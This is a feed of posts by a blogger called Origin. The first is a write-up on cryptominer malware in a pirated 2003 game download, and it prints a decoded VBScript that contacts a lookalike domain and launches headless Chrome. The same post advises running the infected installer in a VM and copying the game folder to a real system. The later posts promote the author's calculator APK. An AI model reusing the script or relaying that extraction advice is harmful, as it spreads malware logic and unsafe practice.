Forem: Origin

How I Trapped a Malware Operation from a 2003 Game (And How You Can Too)

Origin — Sat, 23 May 2026 15:37:44 +0000

The Target: IGI 2 - Covert Strike (2003)

I wanted to play an old game. I found it on a site called Ocean of Games.

The site looked normal. Screenshots. Instructions. Comments. It looked legitimate. It was not.

This is not a game site. It is a malware distribution network disguised as an archive.

Security analysts have confirmed:

18 indicators of compromise
11 MITRE ATT&CK techniques
5 threat categories

If you download from Ocean of Games, you are not downloading a game. You are downloading a cryptominer dropper wrapped in nostalgia.

The Infection

I downloaded IGI 2. I followed their instructions: "Step 1: Disable Windows Defender."

I played 4 missions. Then BSOD. Then days of recovery.
then i had-

Dead pen drive
Crashed server
Hardware failure
Complete OS reinstall for malware fix
Countless errors and wasted time

The malware didn't just infect my computer. It derailed my life.

The Hunting Ground: Virtual Machine

I decided to fight back. Not with antivirus. With strategy.

I set up a virtual machine (VM) — an isolated, disposable computer inside my real computer. The malware cannot escape a VM. It is a cage.

What you need:

VirtualBox (free, open-source)
A Windows ISO
The infected game installer

What you do:

Create a VM
Install Windows (no product key needed)
Disable Windows Defender inside the VM (let the malware win inside the cage)
Download the game from Ocean of Games inside the VM
Do not run the installer yet

The Password Was '123'

The downloaded file is a ZIP. Inside, you will find:

File	What it is
Step 0 - AVENGERS_AIO_v2.5.0.rar	Malware dropper (ignore)
Step 1 - Disable Defender.rar	Disables Windows Defender (ignore)
Step 2 - Extract Setup.rar	Password-protected archive (the game + malware installer)
Password.txt	Contains the password: 123

Yes. The password is 123. They didn't even try.

The Execution

Extract Step 2 - Extract Setup.rar with password 123. You will get Step 3 - Setup_Install_Game.exe.

Run this installer inside the VM. It will install the game. It will also install the malware. That is fine. The VM is disposable.

After installation, locate the game folder (usually C:\IGI2_Game). Copy the entire folder to your real system using a shared folder or USB drive.

Then delete the VM. The malware dies with it. Your real system never touched it.

The Evidence (Full Technical Breakdown)

Malware Components

File	Purpose
WindowsService.exe	Main payload launcher
Windows Updates service.vbs	VBScript that runs the miner
encode.vbs	Converts VBS to VBE (encoded, harder to detect)

Decoded VBScript (from the malware)

On Error Resume Next

Sub Pause(NSeconds)
    Wscript.Sleep(NSeconds*3000)
End Sub

Dim visualcpp
Set visualcpp = CreateObject("WScript.Shell")

counter = True
While counter = True
    website = "www.google.com.739471594492594.windows-display-service.com"
    checkstring = "ping -n 1 -w 300 " & website
    status = visualcpp.Run(checkstring, 0 , True)
    If status = 0 Then
        counter = False
    Else
        Pause(21)
    End If
Wend

returncodestatus = "1"
returncodestatus = visualcpp.run("chrome --headless --disable-gpu --remote-debugging-port=9222 http://www.google.com.739471594492594.windows-display-service.com",0,false)

MITRE ATT&CK Techniques

Tactic	Technique
Execution	User Execution (T1204)
Persistence	Scheduled Task (T1053)
Defense Evasion	Disable Windows Defender (T1562)
Discovery	Process Discovery (T1057)
Impact	Resource Hijacking (T1496) — cryptomining

Indicators of Compromise (IOCs)

Domains: www.google.com.739471594492594.windows-display-service.com
Files: MicrosoftRuntimeUpdate.vbe, Windows Updates service.vbs
Processes: chrome.exe (headless), firefox.exe (headless)
Password: 123
Archive: Step 2 - Extract Setup.rar

How to Extract Safely (For Anyone Facing Similar Malware)

If you are not comfortable with malware analysis, do not attempt to extract manually. But if you have the skills and patience, here is the method:

Set up a VM. Use VirtualBox. It is free.
Install Windows in the VM. Activate it.
Disable Windows Defender inside the VM. Yes, turn it off. The malware needs to succeed inside the cage.
Download the file from the sketchy site inside the VM.
Extract the ZIP. Use 7-Zip.
Find Password.txt. The password is often 123.
Extract the password-protected archive.
Run the installer inside the VM. Let the malware execute. The VM is disposable.
After installation, copy the game folder to your real system.
Delete the VM. The malware dies.

Do not run the installer on your real system. Do not disable Windows Defender on your real system. Do not trust any file from Ocean of Games.

The Aftermath

The malware is dead. The game is extracted. My real system is clean. Now i play the game on my real system.

What You Should Do

For Individuals

Never disable Windows Defender. Not for a game crack. Not for anything.
Use a VM for sketchy downloads.
Keep backups. Encrypted backups. Offline backups.
Switch to Linux. It is free, and your keyboard will work.
Trust no one. Not a sketchy website. Not me. Verify everything.

For Law Enforcement & Cybersecurity Professionals

The evidence is public:

Domains: oceanofgames.com, www.google.com.739471594492594.windows-display-service.com
Password: 123
File hashes: Available upon request

This is not a sophisticated operation. It is a volume-based malware farm. But it has infected thousands of computers. It is still online. It is still distributing malware.

I have filed reports with Porkbun (domain registrar) and Cloudflare. I have reported to Google Safe Browsing and Microsoft SmartScreen.

You are holding the evidence. File the reports. Take down the site. Protect the next person who searches for IGI 2.

Visit my website and download my legitimate software madde by me on- https://origin-inc-pvt-ltd.github.io/originempire.github.io/

I built my own software. Google Play rejected my $25 payment 50 times. So I built my own store. 1000 downloads. No Play Store. No Google. Just my own empire.

Origin — Mon, 11 May 2026 10:01:21 +0000

The Dark Reality

Google Play Console has no support email. No phone number. No human.

When their system fails, you are alone.

Millions of developers face the same wall. All blocked. All ignored. All asking the same question:

"Why won't Google take my $25?"

No answer ever came.

So I stopped asking. I built my own door.

What I Learned

Google is optional.
Gatekeepers can be bypassed.
1000 users matter more than their $25.
Your own store = your own rules. No 30% tax. No ban risk.

Shame on Google

Billions of dollars. Thousands of engineers.

They couldn't process $25 from a kid.

50 times. 4 months. 5 cards.

They rejected my money. I rejected their monopoly.

Download

1000 downloads. Growing.

No Play Store. No Google. Just Origin Empire.

Download here: [https://origin-inc-pvt-ltd.github.io/originempire.github.io]

I built my own empire and crossed 1000 downloads without the monopoly of google. Google Play rejected my $25 payment 50 times.

Origin — Wed, 06 May 2026 16:49:02 +0000

An open letter to Google: Your gatekeeping failed. A 14-year-old just proved you're optional.

I'm founder of Origin Empire. I built the world's best calculator app called OriginCalc.

Not a basic one. 5 calculators. 12 converters. 160+ currencies. TTS. Dark mode. Notepad. History. No ads. No data collection. Works offline. Free forever.

I tried to pay Google the $25 registration fee for the Play Store. 50 times. 4 months. 5 different cards.

Declined. Every time.

No reason. No support. No human.

So I didn't beg. I didn't wait. I built my own website. Distributed my own APK. Created my own empire.

1000 downloads in a month. Without Play Store. Without ads. Without them.

The Dark Reality Google Doesn't Want You to Know

Google Play Console has no support email. No phone number. No chat. No human.

When their system fails, you are alone.

Thousands of developers face the same wall. People from India, Brazil, Nigeria, Indonesia. All blocked. All ignored. All asking the same question:

"Why won't Google take my $25?"

No answer ever came.

So I stopped asking. I built my own door.

1000 Downloads. No Play Store. No Google. Just Me.

What they said	What happened
"You need Play Store to succeed"	1000 downloads without it
"Your app can't grow without us"	Grew anyway
"Pay $25 or forget it"	Paid 50 times. They rejected. I won anyway.
"We're the only gate"	I built my own gate

They wanted $25. They got nothing. I wanted to build. I built everything.

Shame on Google

You have billions of dollars. Thousands of engineers. Global infrastructure.

And you couldn't process $25 from a 14-year-old. 50 times.

You collect data on 2.5 billion users. You know where we live, what we search, who we email.

But you couldn't verify a kid in India with 5 valid cards.

You dance on "Don't be evil." You talk about supporting indie developers.

Then why are we begging for scraps at your gate?

What I Learned

Lesson	Why it matters
Gatekeepers are optional	Build your own door
Rejection is redirection	They said no. I built yes.
1000 users > their $25	Your approval means nothing. Users mean everything.
Your own empire > their store	No 30% tax. No policy violations. No ban risk.

They didn't reject me. They set me free.

Now

1000 downloads. Growing every day.

No Play Store. No Google. No middleman.

Just me. My empire. And a big middle finger to their gate.

You can download OriginCalc here: [https://origin-inc-pvt-ltd.github.io/originempire.github.io/]

Let's see how many downloads I get before Google fixes their payment system.

I'm not waiting.

P.S. To Google

You had one job: take my $25.

You failed. 50 times.

Now I have 1000 users. You have nothing.

Enjoy your billions. I'll enjoy my freedom.

What do you think?

I built a calculator at 14. Then Google rejected my $25 payment 50 times

Origin — Sat, 02 May 2026 16:11:26 +0000

I'm 14. I built a calculator app. 26,000 lines. 3 weeks. Alone.

Not a basic calculator. A complete toolkit:

5 calculators – Standard, Scientific, Graphing, Programmer, Date Calculation
12 converters – Volume, Length, Weight, Temperature, Energy, Area, Speed, Time, Power, Data, Pressure, Angle
160+ currencies – Live exchange rates
TTS – Reads your calculations out loud
Dark mode / Light mode
Calculation history
Built-in notepad
100% free. No ads. No data collection. Works offline.

Then I went to Google Play Console to pay the $25 registration fee.

Google rejected the payment.

Not the app. The app never even reached them. Google rejected the money.

No reason. No explanation. Just "transaction declined."

I tried 50 times. 4 months. 5 different cards. Different banks. All rejected.

And here's the worst part: there is no one to contact. Google Play Console has no support email. No phone number. No chat. No human. Just automated error messages.

So I built my own website. Launched my own app. Direct APK download.

400 downloads in days. Zero criticism.

No Play Store. No Google. Just me and my empire.

Download here: [https://origin-inc-pvt-ltd.github.io/originempire.github.io/]

I built a calculator. Then Google rejected my $25 payment 50 times before I could even create an account to submit and launch it

Origin — Sun, 26 Apr 2026 10:36:04 +0000

I'm Rishi. Founder of Origin Empire.

I built OriginCalc. Not a basic calculator. A complete toolkit.

5 calculators. 12 converters. 160+ currencies. TTS. Dark mode. History. Notepad.

Free. No ads. No data collection. Works offline.

After building it, I went to Google Play Console to pay the $25 registration fee and create my developer account.

Before even creating my account, I was rejected.

50 times. 4 months. 5 different cards.

No reason. No support. No human.

Submitting the app for launch? That was far away. I never even got to that step.

So I built my own website. Launched it myself.

400 downloads in days. Zero criticism.

No Play Store. No Google. Just Origin Empire.

Download here: https://origin-inc-pvt-ltd.github.io/originempire.github.io